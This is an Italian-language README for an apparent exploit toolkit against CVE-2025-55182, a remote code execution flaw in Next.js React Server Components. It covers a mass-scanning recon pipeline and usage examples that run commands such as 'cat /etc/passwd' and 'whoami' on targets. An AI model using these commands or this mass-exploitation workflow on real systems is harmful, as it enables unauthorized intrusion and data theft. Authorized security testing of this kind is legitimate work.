CVE-2025-55182: Scanner RCE per React Server Components

Un toolkit completo per rilevare e sfruttare la CVE-2025-55182, una vulnerabilità critica di Remote Code Execution nelle applicazioni Next.js che utilizzano React Server Components.

Questo repository include uno scanner Bash unificato (modalità Singola e di Massa), implementazioni in Python/Go e un flusso di lavoro di ricognizione per bug bounty.

📂 Struttura del Repository

• scanner.sh — Script Bash all-in-one per scansione su singolo target e di massa
• python/exploit.py — Implementazione Python stabile (migliore gestione dell'escape JSON)
• go/main.go — Implementazione ad alte prestazioni (compilabile)

🚀 Flusso di Lavoro di Ricognizione (Metodologia Bug Bounty)

Per la caccia di massa su domini wildcard, usa questa pipeline per filtrare i target prima della scansione:

# 1. Enumera i sottodomini
subfinder -dL wildcards.txt -all -recursive > subs.txt

# 2. Filtra gli host attivi
httpx -l subs.txt -o live.txt

# 3. Rilevamento pre-scansione con Nuclei (opzionale)
nuclei -l live.txt -t CVE-2025-55182.yaml -o final.txt

🛠️ Utilizzo dello Scanner Bash (Consigliato)

Lo script scanner.sh supporta scansioni su singolo target e scansioni di massa da un elenco di file.

🔧 Installazione

chmod +x scanner.sh

1️⃣ Modalità Singolo Target

Ideale per verificare un target specifico con output verboso.

# Controllo di base (impostazione predefinita: "id")
./scanner.sh -d example.com

# Esegui un comando personalizzato
./scanner.sh -d https://target.com -c "cat /etc/passwd"

2️⃣ Modalità Scansione di Massa

Scansiona in modo efficiente un elenco di URL e salva gli host vulnerabili in un file.

# Scansiona un elenco di URL
./scanner.sh -l live.txt -c "whoami"

# File di output personalizzato
./scanner.sh -l live.txt -o my_bounty.txt

Opzioni

🐍 Versione Python

Usala se riscontri problemi con l'escape dei caratteri speciali in Bash.

Requisiti

pip install requests

Utilizzo

python3 python/exploit.py -u http://target.com -c "uname -a"

🐹 Versione Go

Alte prestazioni, dipendenze minime.

Esecuzione diretta

go run go/main.go -u http://target.com -c "id"

Compila il binario

cd go
go build -o cve-scanner main.go
./cve-scanner -u http://target.com

⚠️ Disclaimer

Questo strumento è destinato esclusivamente a scopi educativi e test di sicurezza autorizzati. L'uso non autorizzato è strettamente illegale. Lo sviluppatore non si assume alcuna responsabilità per usi impropri o danni causati da questo programma.

🔗 Riferimenti

• Dettaglio CVE NVD: https://nvd.nist.gov/vuln/detail/CVE-2025-55182

• Advisory di Sicurezza React (vulnerabilità di React Server Components): https://react.dev/blog/2025/12/03/critical-security-vulnerability-in-react-server-components

• Modello Nuclei di ProjectDiscovery: https://cloud.projectdiscovery.io/library/CVE-2025-55182